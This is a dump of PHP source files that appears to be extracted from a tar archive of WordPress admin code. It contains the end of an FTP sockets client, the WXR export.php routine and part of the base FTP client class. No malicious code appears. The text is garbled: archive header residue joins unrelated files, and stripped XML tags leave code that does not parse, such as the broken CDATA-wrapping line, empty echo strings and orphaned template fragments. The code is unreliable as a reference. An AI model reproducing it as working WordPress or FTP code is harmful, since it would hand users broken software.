$this->_message.=$tmp;
if(preg_match("/^([0-9]{3})(-(.*[".CRLF."]{1,2})+\\1)? [^".CRLF."]+[".CRLF."]{1,2}$/", $this->_message, $regs)) $go=false;
}
} while($go);
if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
$this->_code=(int)$regs[1];
return $result;
}
function _exec($cmd, $fnction="_exec") {
if(!$this->_ready) {
$this->PushError($fnction,'Connect first');
return FALSE;
}
if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
$status=@fputs($this->_ftp_control_sock, $cmd.CRLF);
if($status===false) {
$this->PushError($fnction,'socket write failed');
return FALSE;
}
$this->_lastaction=time();
if(!$this->_readmsg($fnction)) return FALSE;
return TRUE;
}
function _data_prepare($mode=FTP_ASCII) {
if(!$this->_settype($mode)) return FALSE;
if($this->_passive) {
if(!$this->_exec("PASV", "pasv")) {
$this->_data_close();
return FALSE;
}
if(!$this->_checkCode()) {
$this->_data_close();
return FALSE;
}
$ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message));
$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
$this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
$this->_ftp_data_sock=@fsockopen($this->_datahost, $this->_dataport, $errno, $errstr, $this->_timeout);
if(!$this->_ftp_data_sock) {
$this->PushError("_data_prepare","fsockopen fails", $errstr." (".$errno.")");
$this->_data_close();
return FALSE;
}
else $this->_ftp_data_sock;
} else {
$this->SendMSG("Only passive connections available!");
return FALSE;
}
return TRUE;
}
function _data_read($mode=FTP_ASCII, $fp=NULL) {
if(is_resource($fp)) $out=0;
else $out="";
if(!$this->_passive) {
$this->SendMSG("Only passive connections available!");
return FALSE;
}
while (!feof($this->_ftp_data_sock)) {
$block=fread($this->_ftp_data_sock, $this->_ftp_buff_size);
if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
else $out.=$block;
}
return $out;
}
function _data_write($mode=FTP_ASCII, $fp=NULL) {
if(is_resource($fp)) $out=0;
else $out="";
if(!$this->_passive) {
$this->SendMSG("Only passive connections available!");
return FALSE;
}
if(is_resource($fp)) {
while(!feof($fp)) {
$block=fread($fp, $this->_ftp_buff_size);
if(!$this->_data_write_block($mode, $block)) return false;
}
} elseif(!$this->_data_write_block($mode, $fp)) return false;
return TRUE;
}
function _data_write_block($mode, $block) {
if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
do {
if(($t=@fwrite($this->_ftp_data_sock, $block))===FALSE) {
$this->PushError("_data_write","Can't write to socket");
return FALSE;
}
$block=substr($block, $t);
} while(!empty($block));
return true;
}
function _data_close() {
@fclose($this->_ftp_data_sock);
$this->SendMSG("Disconnected data from remote host");
return TRUE;
}
function _quit($force=FALSE) {
if($this->_connected or $force) {
@fclose($this->_ftp_control_sock);
$this->_connected=false;
$this->SendMSG("Socket closed");
}
}
}
?>
export.php 0000644 00000061735 14757313107 0006622 0 ustar 00 'all',
'author' => false,
'category' => false,
'start_date' => false,
'end_date' => false,
'status' => false,
);
$args = wp_parse_args( $args, $defaults );
/**
* Fires at the beginning of an export, before any headers are sent.
*
* @since 2.3.0
*
* @param array $args An array of export arguments.
*/
do_action( 'export_wp', $args );
$sitename = sanitize_key( get_bloginfo( 'name' ) );
if ( ! empty( $sitename ) ) {
$sitename .= '.';
}
$date = gmdate( 'Y-m-d' );
$wp_filename = $sitename . 'WordPress.' . $date . '.xml';
/**
* Filters the export filename.
*
* @since 4.4.0
*
* @param string $wp_filename The name of the file for download.
* @param string $sitename The site name.
* @param string $date Today's date, formatted.
*/
$filename = apply_filters( 'export_wp_filename', $wp_filename, $sitename, $date );
header( 'Content-Description: File Transfer' );
header( 'Content-Disposition: attachment; filename=' . $filename );
header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ), true );
if ( 'all' !== $args['content'] && post_type_exists( $args['content'] ) ) {
$ptype = get_post_type_object( $args['content'] );
if ( ! $ptype->can_export ) {
$args['content'] = 'post';
}
$where = $wpdb->prepare( "{$wpdb->posts}.post_type = %s", $args['content'] );
} else {
$post_types = get_post_types( array( 'can_export' => true ) );
$esses = array_fill( 0, count( $post_types ), '%s' );
// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
$where = $wpdb->prepare( "{$wpdb->posts}.post_type IN (" . implode( ',', $esses ) . ')', $post_types );
}
if ( $args['status'] && ( 'post' === $args['content'] || 'page' === $args['content'] ) ) {
$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_status = %s", $args['status'] );
} else {
$where .= " AND {$wpdb->posts}.post_status != 'auto-draft'";
}
$join = '';
if ( $args['category'] && 'post' === $args['content'] ) {
$term = term_exists( $args['category'], 'category' );
if ( $term ) {
$join = "INNER JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id)";
$where .= $wpdb->prepare( " AND {$wpdb->term_relationships}.term_taxonomy_id = %d", $term['term_taxonomy_id'] );
}
}
if ( in_array( $args['content'], array( 'post', 'page', 'attachment' ), true ) ) {
if ( $args['author'] ) {
$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_author = %d", $args['author'] );
}
if ( $args['start_date'] ) {
$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date >= %s", gmdate( 'Y-m-d', strtotime( $args['start_date'] ) ) );
}
if ( $args['end_date'] ) {
$where .= $wpdb->prepare( " AND {$wpdb->posts}.post_date < %s", gmdate( 'Y-m-d', strtotime( '+1 month', strtotime( $args['end_date'] ) ) ) );
}
}
// Grab a snapshot of post IDs, just in case it changes during the export.
$post_ids = $wpdb->get_col( "SELECT ID FROM {$wpdb->posts} $join WHERE $where" );
// Get IDs for the attachments of each post, unless all content is already being exported.
if ( ! in_array( $args['content'], array( 'all', 'attachment' ), true ) ) {
// Array to hold all additional IDs (attachments and thumbnails).
$additional_ids = array();
// Create a copy of the post IDs array to avoid modifying the original array.
$processing_ids = $post_ids;
while ( $next_posts = array_splice( $processing_ids, 0, 20 ) ) {
$posts_in = array_map( 'absint', $next_posts );
$placeholders = array_fill( 0, count( $posts_in ), '%d' );
// Create a string for the placeholders.
$in_placeholder = implode( ',', $placeholders );
// Prepare the SQL statement for attachment ids.
$attachment_ids = $wpdb->get_col(
$wpdb->prepare(
"
SELECT ID
FROM $wpdb->posts
WHERE post_parent IN ($in_placeholder) AND post_type = 'attachment'
",
$posts_in
)
);
$thumbnails_ids = $wpdb->get_col(
$wpdb->prepare(
"
SELECT meta_value
FROM $wpdb->postmeta
WHERE $wpdb->postmeta.post_id IN ($in_placeholder)
AND $wpdb->postmeta.meta_key = '_thumbnail_id'
",
$posts_in
)
);
$additional_ids = array_merge( $additional_ids, $attachment_ids, $thumbnails_ids );
}
// Merge the additional IDs back with the original post IDs after processing all posts
$post_ids = array_unique( array_merge( $post_ids, $additional_ids ) );
}
/*
* Get the requested terms ready, empty unless posts filtered by category
* or all content.
*/
$cats = array();
$tags = array();
$terms = array();
if ( isset( $term ) && $term ) {
$cat = get_term( $term['term_id'], 'category' );
$cats = array( $cat->term_id => $cat );
unset( $term, $cat );
} elseif ( 'all' === $args['content'] ) {
$categories = (array) get_categories( array( 'get' => 'all' ) );
$tags = (array) get_tags( array( 'get' => 'all' ) );
$custom_taxonomies = get_taxonomies( array( '_builtin' => false ) );
$custom_terms = (array) get_terms(
array(
'taxonomy' => $custom_taxonomies,
'get' => 'all',
)
);
// Put categories in order with no child going before its parent.
while ( $cat = array_shift( $categories ) ) {
if ( ! $cat->parent || isset( $cats[ $cat->parent ] ) ) {
$cats[ $cat->term_id ] = $cat;
} else {
$categories[] = $cat;
}
}
// Put terms in order with no child going before its parent.
while ( $t = array_shift( $custom_terms ) ) {
if ( ! $t->parent || isset( $terms[ $t->parent ] ) ) {
$terms[ $t->term_id ] = $t;
} else {
$custom_terms[] = $t;
}
}
unset( $categories, $custom_taxonomies, $custom_terms );
}
/**
* Wraps given string in XML CDATA tag.
*
* @since 2.1.0
*
* @param string $str String to wrap in XML CDATA tag.
* @return string
*/
function wxr_cdata( $str ) {
if ( ! seems_utf8( $str ) ) {
$str = utf8_encode( $str );
}
// $str = ent2ncr(esc_html($str));
$str = '', ']]]]>', $str ) . ']]>';
return $str;
}
/**
* Returns the URL of the site.
*
* @since 2.5.0
*
* @return string Site URL.
*/
function wxr_site_url() {
if ( is_multisite() ) {
// Multisite: the base URL.
return network_home_url();
} else {
// WordPress (single site): the site URL.
return get_bloginfo_rss( 'url' );
}
}
/**
* Outputs a cat_name XML tag from a given category object.
*
* @since 2.1.0
*
* @param WP_Term $category Category Object.
*/
function wxr_cat_name( $category ) {
if ( empty( $category->name ) ) {
return;
}
echo '' . wxr_cdata( $category->name ) . "\n";
}
/**
* Outputs a category_description XML tag from a given category object.
*
* @since 2.1.0
*
* @param WP_Term $category Category Object.
*/
function wxr_category_description( $category ) {
if ( empty( $category->description ) ) {
return;
}
echo '' . wxr_cdata( $category->description ) . "\n";
}
/**
* Outputs a tag_name XML tag from a given tag object.
*
* @since 2.3.0
*
* @param WP_Term $tag Tag Object.
*/
function wxr_tag_name( $tag ) {
if ( empty( $tag->name ) ) {
return;
}
echo '' . wxr_cdata( $tag->name ) . "\n";
}
/**
* Outputs a tag_description XML tag from a given tag object.
*
* @since 2.3.0
*
* @param WP_Term $tag Tag Object.
*/
function wxr_tag_description( $tag ) {
if ( empty( $tag->description ) ) {
return;
}
echo '' . wxr_cdata( $tag->description ) . "\n";
}
/**
* Outputs a term_name XML tag from a given term object.
*
* @since 2.9.0
*
* @param WP_Term $term Term Object.
*/
function wxr_term_name( $term ) {
if ( empty( $term->name ) ) {
return;
}
echo '' . wxr_cdata( $term->name ) . "\n";
}
/**
* Outputs a term_description XML tag from a given term object.
*
* @since 2.9.0
*
* @param WP_Term $term Term Object.
*/
function wxr_term_description( $term ) {
if ( empty( $term->description ) ) {
return;
}
echo "\t\t" . wxr_cdata( $term->description ) . "\n";
}
/**
* Outputs term meta XML tags for a given term object.
*
* @since 4.6.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param WP_Term $term Term object.
*/
function wxr_term_meta( $term ) {
global $wpdb;
$termmeta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->termmeta WHERE term_id = %d", $term->term_id ) );
foreach ( $termmeta as $meta ) {
/**
* Filters whether to selectively skip term meta used for WXR exports.
*
* Returning a truthy value from the filter will skip the current meta
* object from being exported.
*
* @since 4.6.0
*
* @param bool $skip Whether to skip the current piece of term meta. Default false.
* @param string $meta_key Current meta key.
* @param object $meta Current meta object.
*/
if ( ! apply_filters( 'wxr_export_skip_termmeta', false, $meta->meta_key, $meta ) ) {
printf( "\t\t\n\t\t\t%s\n\t\t\t%s\n\t\t\n", wxr_cdata( $meta->meta_key ), wxr_cdata( $meta->meta_value ) );
}
}
}
/**
* Outputs list of authors with posts.
*
* @since 3.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int[] $post_ids Optional. Array of post IDs to filter the query by.
*/
function wxr_authors_list( ?array $post_ids = null ) {
global $wpdb;
if ( ! empty( $post_ids ) ) {
$post_ids = array_map( 'absint', $post_ids );
$and = 'AND ID IN ( ' . implode( ', ', $post_ids ) . ')';
} else {
$and = '';
}
$authors = array();
$results = $wpdb->get_results( "SELECT DISTINCT post_author FROM $wpdb->posts WHERE post_status != 'auto-draft' $and" );
foreach ( (array) $results as $result ) {
$authors[] = get_userdata( $result->post_author );
}
$authors = array_filter( $authors );
foreach ( $authors as $author ) {
echo "\t";
echo '' . (int) $author->ID . '';
echo '' . wxr_cdata( $author->user_login ) . '';
echo '' . wxr_cdata( $author->user_email ) . '';
echo '' . wxr_cdata( $author->display_name ) . '';
echo '' . wxr_cdata( $author->first_name ) . '';
echo '' . wxr_cdata( $author->last_name ) . '';
echo "\n";
}
}
/**
* Outputs all navigation menu terms.
*
* @since 3.1.0
*/
function wxr_nav_menu_terms() {
$nav_menus = wp_get_nav_menus();
if ( empty( $nav_menus ) || ! is_array( $nav_menus ) ) {
return;
}
foreach ( $nav_menus as $menu ) {
echo "\t";
echo '' . (int) $menu->term_id . '';
echo 'nav_menu';
echo '' . wxr_cdata( $menu->slug ) . '';
wxr_term_name( $menu );
echo "\n";
}
}
/**
* Outputs list of taxonomy terms, in XML tag format, associated with a post.
*
* @since 2.3.0
*/
function wxr_post_taxonomy() {
$post = get_post();
$taxonomies = get_object_taxonomies( $post->post_type );
if ( empty( $taxonomies ) ) {
return;
}
$terms = wp_get_object_terms( $post->ID, $taxonomies );
foreach ( (array) $terms as $term ) {
echo "\t\ttaxonomy}\" nicename=\"{$term->slug}\">" . wxr_cdata( $term->name ) . "\n";
}
}
/**
* Determines whether to selectively skip post meta used for WXR exports.
*
* @since 3.3.0
*
* @param bool $return_me Whether to skip the current post meta. Default false.
* @param string $meta_key Meta key.
* @return bool
*/
function wxr_filter_postmeta( $return_me, $meta_key ) {
if ( '_edit_lock' === $meta_key ) {
$return_me = true;
}
return $return_me;
}
add_filter( 'wxr_export_skip_postmeta', 'wxr_filter_postmeta', 10, 2 );
echo '\n";
?>
term_id; ?>slug ); ?>parent ? $cats[ $c->parent ]->slug : '' ); ?>term_id; ?>slug ); ?>term_id; ?>taxonomy ); ?>slug ); ?>parent ? $terms[ $t->parent ]->slug : '' ); ?>
in_the_loop = true;
// Fetch 20 posts at a time rather than loading the entire table into memory.
while ( $next_posts = array_splice( $post_ids, 0, 20 ) ) {
$where = 'WHERE ID IN (' . implode( ',', $next_posts ) . ')';
$posts = $wpdb->get_results( "SELECT * FROM {$wpdb->posts} $where" );
// Begin Loop.
foreach ( $posts as $post ) {
setup_postdata( $post );
/**
* Filters the post title used for WXR exports.
*
* @since 5.7.0
*
* @param string $post_title Title of the current post.
*/
$title = wxr_cdata( apply_filters( 'the_title_export', $post->post_title ) );
/**
* Filters the post content used for WXR exports.
*
* @since 2.5.0
*
* @param string $post_content Content of the current post.
*/
$content = wxr_cdata( apply_filters( 'the_content_export', $post->post_content ) );
/**
* Filters the post excerpt used for WXR exports.
*
* @since 2.6.0
*
* @param string $post_excerpt Excerpt for the current post.
*/
$excerpt = wxr_cdata( apply_filters( 'the_excerpt_export', $post->post_excerpt ) );
$is_sticky = is_sticky( $post->ID ) ? 1 : 0;
?>
ID; ?>post_date ); ?>post_date_gmt ); ?>post_modified ); ?>post_modified_gmt ); ?>comment_status ); ?>ping_status ); ?>post_name ); ?>post_status ); ?>post_parent; ?>menu_order; ?>post_type ); ?>post_password ); ?>
post_type ) : ?>
ID ) ); ?>
get_results( $wpdb->prepare( "SELECT * FROM $wpdb->postmeta WHERE post_id = %d", $post->ID ) );
foreach ( $postmeta as $meta ) :
/**
* Filters whether to selectively skip post meta used for WXR exports.
*
* Returning a truthy value from the filter will skip the current meta
* object from being exported.
*
* @since 3.3.0
*
* @param bool $skip Whether to skip the current post meta. Default false.
* @param string $meta_key Current meta key.
* @param object $meta Current meta object.
*/
if ( apply_filters( 'wxr_export_skip_postmeta', false, $meta->meta_key, $meta ) ) {
continue;
}
?>
meta_key ); ?>meta_value ); ?>
get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved <> 'spam'", $post->ID ) );
$comments = array_map( 'get_comment', $_comments );
foreach ( $comments as $c ) :
?>
comment_ID; ?>comment_author ); ?>comment_author_email ); ?>comment_author_url ); ?>comment_author_IP ); ?>comment_date ); ?>comment_date_gmt ); ?>comment_content ); ?>comment_approved ); ?>comment_type ); ?>comment_parent; ?>user_id; ?>
get_results( $wpdb->prepare( "SELECT * FROM $wpdb->commentmeta WHERE comment_id = %d", $c->comment_ID ) );
foreach ( $c_meta as $meta ) :
/**
* Filters whether to selectively skip comment meta used for WXR exports.
*
* Returning a truthy value from the filter will skip the current meta
* object from being exported.
*
* @since 4.0.0
*
* @param bool $skip Whether to skip the current comment meta. Default false.
* @param string $meta_key Current meta key.
* @param object $meta Current meta object.
*/
if ( apply_filters( 'wxr_export_skip_commentmeta', false, $meta->meta_key, $meta ) ) {
continue;
}
?>
meta_key ); ?>meta_value ); ?>
LocalEcho=$le;
$this->Verbose=$verb;
$this->_lastaction=NULL;
$this->_error_array=array();
$this->_eol_code=array(FTP_OS_Unix=>"\n", FTP_OS_Mac=>"\r", FTP_OS_Windows=>"\r\n");
$this->AuthorizedTransferMode=array(FTP_AUTOASCII, FTP_ASCII, FTP_BINARY);
$this->OS_FullName=array(FTP_OS_Unix => 'UNIX', FTP_OS_Windows => 'WINDOWS', FTP_OS_Mac => 'MACOS');
$this->AutoAsciiExt=array("ASP","BAT","C","CPP","CSS","CSV","JS","H","HTM","HTML","SHTML","INI","LOG","PHP3","PHTML","PL","PERL","SH","SQL","TXT");
$this->_port_available=($port_mode==TRUE);
$this->SendMSG("Staring FTP client class".($this->_port_available?"":" without PORT mode support"));
$this->_connected=FALSE;
$this->_ready=FALSE;
$this->_can_restore=FALSE;
$this->_code=0;
$this->_message="";
$this->_ftp_buff_size=4096;
$this->_curtype=NULL;
$this->SetUmask(0022);
$this->SetType(FTP_AUTOASCII);
$this->SetTimeout(30);
$this->Passive(!$this->_port_available);
$this->_login="anonymous";
$this->_password="anon@ftp.com";
$this->_features=array();
$this->OS_local=FTP_OS_Unix;
$this->OS_remote=FTP_OS_Unix;
$this->features=array();
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->OS_local=FTP_OS_Windows;
elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'MAC') $this->OS_local=FTP_OS_Mac;
}
function ftp_base($port_mode=FALSE) {
$this->__construct($port_mode);
}
//
//
//
function parselisting($line) {
$is_windows = ($this->OS_remote == FTP_OS_Windows);
if ($is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|) +(.+)/",$line,$lucifer)) {
$b = array();
if ($lucifer[3]<70) { $lucifer[3]+=2000; } else { $lucifer[3]+=1900; } // 4digit year fix
$b['isdir'] = ($lucifer[7]=="");
if ( $b['isdir'] )
$b['type'] = 'd';
else
$b['type'] = 'f';
$b['size'] = $lucifer[7];
$b['month'] = $lucifer[1];
$b['day'] = $lucifer[2];
$b['year'] = $lucifer[3];
$b['hour'] = $lucifer[4];
$b['minute'] = $lucifer[5];
$b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]);
$b['am/pm'] = $lucifer[6];
$b['name'] = $lucifer[8];
} else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) {
//echo $line."\n";
$lcount=count($lucifer);
if ($lcount<8) return '';
$b = array();
$b['isdir'] = $lucifer[0][0] === "d";
$b['islink'] = $lucifer[0][0] === "l";
if ( $b['isdir'] )
$b['type'] = 'd';
elseif ( $b['islink'] )
$b['type'] = 'l';
else
$b['type'] = 'f';
$b['perms'] = $lucifer[0];
$b['number'] = $lucifer[1];
$b['owner'] = $lucifer[2];
$b['group'] = $lucifer[3];
$b['size'] = $lucifer[4];
if ($lcount==8) {
sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']);
sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']);
$b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']);
$b['name'] = $lucifer[7];
} else {
$b['month'] = $lucifer[5];
$b['day'] = $lucifer[6];
if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) {
$b['year'] = gmdate("Y");
$b['hour'] = $l2[1];
$b['minute'] = $l2[2];
} else {
$b['year'] = $lucifer[7];
$b['hour'] = 0;
$b['minute'] = 0;
}
$b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute']));
$b['name'] = $lucifer[8];
}
}
return $b;
}
function SendMSG($message = "", $crlf=true) {
if ($this->Verbose) {
echo $message.($crlf?CRLF:"");
flush();
}
return TRUE;
}
function SetType($mode=FTP_AUTOASCII) {
if(!in_array($mode, $this->AuthorizedTransferMode)) {
$this->SendMSG("Wrong type");
return FALSE;
}
$this->_type=$mode;
$this->SendMSG("Transfer type: ".($this->_type==FTP_BINARY?"binary":($this->_type==FTP_ASCII?"ASCII":"auto ASCII") ) );
return TRUE;
}
function _settype($mode=FTP_ASCII) {
if($this->_ready) {
if($mode==FTP_BINARY) {
if($this->_curtype!=FTP_BINARY) {
if(!$this->_exec("TYPE I", "SetType")) return FALSE;
$this->_curtype=FTP_BINARY;
}
} elseif($this->_curtype!=FTP_ASCII) {
if(!$this->_exec("TYPE A", "SetType")) return FALSE;
$this->_curtype=FTP_ASCII;
}
} else return FALSE;
return TRUE;
}
function Passive($pasv=NULL) {
if(is_null($pasv)) $this->_passive=!$this->_passive;
else $this->_passive=$pasv;
if(!$this->_port_available and !$this->_passive) {
$this->SendMSG("Only passive connections available!");
$this->_passive=TRUE;
return FALSE;
}
$this->SendMSG("Passive mode ".($this->_passive?"on":"off"));
return TRUE;
}
function SetServer($host, $port=21, $reconnect=true) {
if(!is_long($port)) {
$this->verbose=true;
$this->SendMSG("Incorrect port syntax");
return FALSE;
} else {
$ip=@gethostbyname($host);
$dns=@gethostbyaddr($host);
if(!$ip) $ip=$host;
if(!$dns) $dns=$host;
// Validate the IPAddress PHP4 returns -1 for invalid, PHP5 false
// -1 === "255.255.255.255" which is the broadcast address which is also going to be invalid
$ipaslong = ip2long($ip);
if ( ($ipaslong == false) || ($ipaslong === -1) ) {
$this->SendMSG("Wrong host name/address \"".$host."\"");
return FALSE;
}
$this->_host=$ip;
$this->_fullhost=$dns;
$this->_port=$port;
$this->_dataport=$port-1;
}
$this->SendMSG("Host \"".$this->_fullhost."(".$this->_host."):".$this->_port."\"");
if($reconnect){
if($this->_connected) {
$this->SendMSG("Reconnecting");
if(!$this->quit(FTP_FORCE)) return FALSE;
if(!$this->connect()) return FALSE;
}
}
return TRUE;
}
function SetUmask($umask=0022) {
$this->_umask=$umask;
umask($this->_umask);
$this->SendMSG("UMASK 0".decoct($this->_umask));
return TRUE;
}
function SetTimeout($timeout=30) {
$this->_timeout=$timeout;
$this->SendMSG("Timeout ".$this->_timeout);
if($this->_connected)
if(!$this->_settimeout($this->_ftp_control_sock)) return FALSE;
return TRUE;
}
function connect($server=NULL) {
if(!empty($server)) {
if(!$this->SetServer($server)) return false;
}
if($this->_ready) return true;
$this->SendMsg('Local OS : '.$this->OS_FullName[$this->OS_local]);
if(!($this->_ftp_control_sock = $this->_connect($this->_host, $this->_port))) {
$this->SendMSG("Error : Cannot connect to remote host \"".$this->_fullhost." :".$this->_port."\"");
return FALSE;
}
$this->SendMSG("Connected to remote host \"".$this->_fullhost.":".$this->_port."\". Waiting for greeting.");
do {
if(!$this->_readmsg()) return FALSE;
if(!$this->_checkCode()) return FALSE;
$this->_lastaction=time();
} while($this->_code<200);
$this->_ready=true;
$syst=$this->systype();
if(!$syst) $this->SendMSG("Cannot detect remote OS");
else {
if(preg_match("/win|dos|novell/i", $syst[0])) $this->OS_remote=FTP_OS_Windows;
elseif(preg_match("/os/i", $syst[0])) $this->OS_remote=FTP_OS_Mac;
elseif(preg_match("/(li|u)nix/i", $syst[0])) $this->OS_remote=FTP_OS_Unix;
else $this->OS_remote=FTP_OS_Mac;
$this->SendMSG("Remote OS: ".$this->OS_FullName[$this->OS_remote]);
}
if(!$this->features()) $this->SendMSG("Cannot get features list. All supported - disabled");
else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
return TRUE;
}
function quit($force=false) {
if($this->_ready) {
if(!$this->_exec("QUIT") and !$force) return FALSE;
if(!$this->_checkCode() and !$force) return FALSE;
$this->_ready=false;
$this->SendMSG("Session finished");
}
$this->_quit();
return TRUE;
}
function login($user=NULL, $pass=NULL) {
if(!is_null($user)) $this->_login=$user;
else $this->_login="anonymous";
if(!is_null($pass)) $this->_password=$pass;
else $this->_password="anon@anon.com";
if(!$this->_exec("USER ".$this->_login, "login")) return FALSE;
if(!$this->_checkCode()) return FALSE;
if($this->_code!=230) {
if(!$this->_exec((($this->_code==331)?"PASS ":"ACCT ").$this->_password, "login")) return FALSE;
if(!$this->_checkCode()) return FALSE;
}
$this->SendMSG("Authentication succeeded");
if(empty($this->_features)) {
if(!$this->features()) $this->SendMSG("Cannot get features list. All supported - disabled");
else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features)));
}
return TRUE;
}
function pwd() {
if(!$this->_exec("PWD", "pwd")) return FALSE;
if(!$this->_checkCode()) return FALSE;
return preg_replace("/^[0-9]{3} \"(.+)\".*$/s", "\\1", $this->_message);
}
function cdup() {
if(!$this->_exec("CDUP", "cdup")) return FALSE;
if(!$this->_checkCode()) return FALSE;
return true;
}
function chdir($pathname) {
if(!$this->_exec("CWD ".$pathname, "chdir")) return FALSE;
if(!$this->_checkCode()) return FALSE;
return TRUE;
}
function rmdir($pathname) {
if(!$this->_exec("RMD ".$pathname, "rmdir")) return FALSE;
if(!$this->_checkCode()) return FALSE;
return TRUE;
}
function mkdir($pathname) {
if(!$this->_exec("MKD ".$pathname, "mkdir")) return FALSE;
if(!$this->_checkCode()) return FALSE;
return TRUE;
}
function rename($from, $to) {
if(!$this->_exec("RNFR ".$from, "rename")) return FALSE;
if(!$this->_checkCode()) return FALSE;
if($this->_code==350) {
if(!$this->_exec("RNTO ".$to, "rename")) return FALSE;
if(!$this->_checkCode()) return FALSE;
} else return FALSE;
return TRUE;
}
function filesize($pathname) {
if(!isset($this->_features["SIZE"])) {
$this->PushError("filesize", "not supported by server");
return FALSE;
}
if(!$this->_exec("SIZE ".$pathname, "filesize")) return FALSE;
if(!$this->_checkCode()) return FALSE;
return preg_replace("/^[0-9]{3} ([0-9]+).*$/s", "\\1", $this->_message);
}
function abort() {
if(!$this->_exec("ABOR", "abort")) return FALSE;
if(!$this->_checkCode()) {
if($this->_code!=426) return FALSE;
if(!$this->_readmsg("abort")) return FALSE;
if(!$this->_checkCode()) return FALSE;
}
return true;
}
function mdtm($pathname) {
if(!isset($this->_features["MDTM"])) {
$this->PushError("mdtm", "not supported by server");
return FALSE;
}
if(!$this->_exec("MDTM ".$pathname, "mdtm")) return FALSE;
if(!$this->_checkCode()) return FALSE;
$mdtm = preg_replace("/^[0-9]{3} ([0-9]+).*$/s", "\\1", $this->_message);
$date = sscanf($mdtm, "%4d%2d%2d%2d%2d%2d");
$timestamp = mktime($date[3], $date[4], $date[5], $date[1], $date[2], $date[0]);
return $timestamp;
}
function systype() {
if(!$this->_exec("SYST", "systype")) return FALSE;
if(!$this->_checkCode()) return FALSE;
$DATA = explode(" ", $this->_message);
return array($DATA[1], $DATA[3]);
}
function delete($pathname) {
if(!$this->_exec("DELE ".$pathname, "delete")) return FALSE;
if(!$this->_checkCode()) return FALSE;
return TRUE;
}
function site($command, $fnction="site") {
if(!$this->_exec("SITE ".$command, $fnction)) return FALSE;
if(!$this->_checkCode()) return FALSE;
return TRUE;
}
function chmod($pathname, $mode) {
if(!$this->site( sprintf('CHMOD %o %s', $mode, $pathname), "chmod")) return FALSE;
return TRUE;
}
function restore($from) {
if(!isset($this->_features["REST"])) {
$this->PushError("restore", "not supported by server");
return FALSE;
}
if($this->_curtype!=FTP_BINARY) {
$this->PushError("restore", "cannot restore in ASCII mode");
return FALSE;
}
if(!$this->_exec("REST ".$from, "restore")) return FALSE;
if(!$this->_checkCode()) return FALSE;
return TRUE;
}
function features() {
if(!$this->_exec("FEAT", "features")) return FALSE;
if(!$this->_checkCode()) return FALSE;
$f=preg_split("/[".CRLF."]+/", preg_replace("/[0-9]{3}[ -].*[".CRLF."]+/", "", $this->_message), -1, PREG_SPLIT_NO_EMPTY);
$this->_features=array();
foreach($f as $k=>$v) {
$v=explode(" ", trim($v));
$this->_features[array_shift($v)]=$v;
}
return true;
}
function rawlist($pathname="", $arg="") {
return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "LIST", "rawlist");
}
function nlist($pathname="", $arg="") {
return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "NLST", "nlist");
}
function is_exists($pathname) {
return $this->file_exists($pathname);
}
function file_exists($pathname) {
$exists=true;
if(!$this->_exec("RNFR ".$pathname, "rename")) $exists=FALSE;
else {
if(!$this->_checkCode()) $exists=FALSE;
$this->abort();
}
if($exists) $this->SendMSG("Remote file ".$pathname." exists");
else $this->SendMSG("Remote file ".$pathname." does not exist");
return $exists;
}
function fget($fp, $remotefile, $rest=0) {
if($this->_can_restore and $rest!=0) fseek($fp, $rest);
$pi=pathinfo($remotefile);
if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
else $mode=FTP_BINARY;
if(!$this->_data_prepare($mode)) {
return FALSE;
}
if($this->_can_restore and $rest!=0) $this->restore($rest);
if(!$this->_exec("RETR ".$remotefile, "get")) {
$this->_data_close();
return FALSE;
}
if(!$this->_checkCode()) {
$this->_data_close();
return FALSE;
}
$out=$this->_data_read($mode, $fp);
$this->_data_close();
if(!$this->_readmsg()) return FALSE;
if(!$this->_checkCode()) return FALSE;
return $out;
}
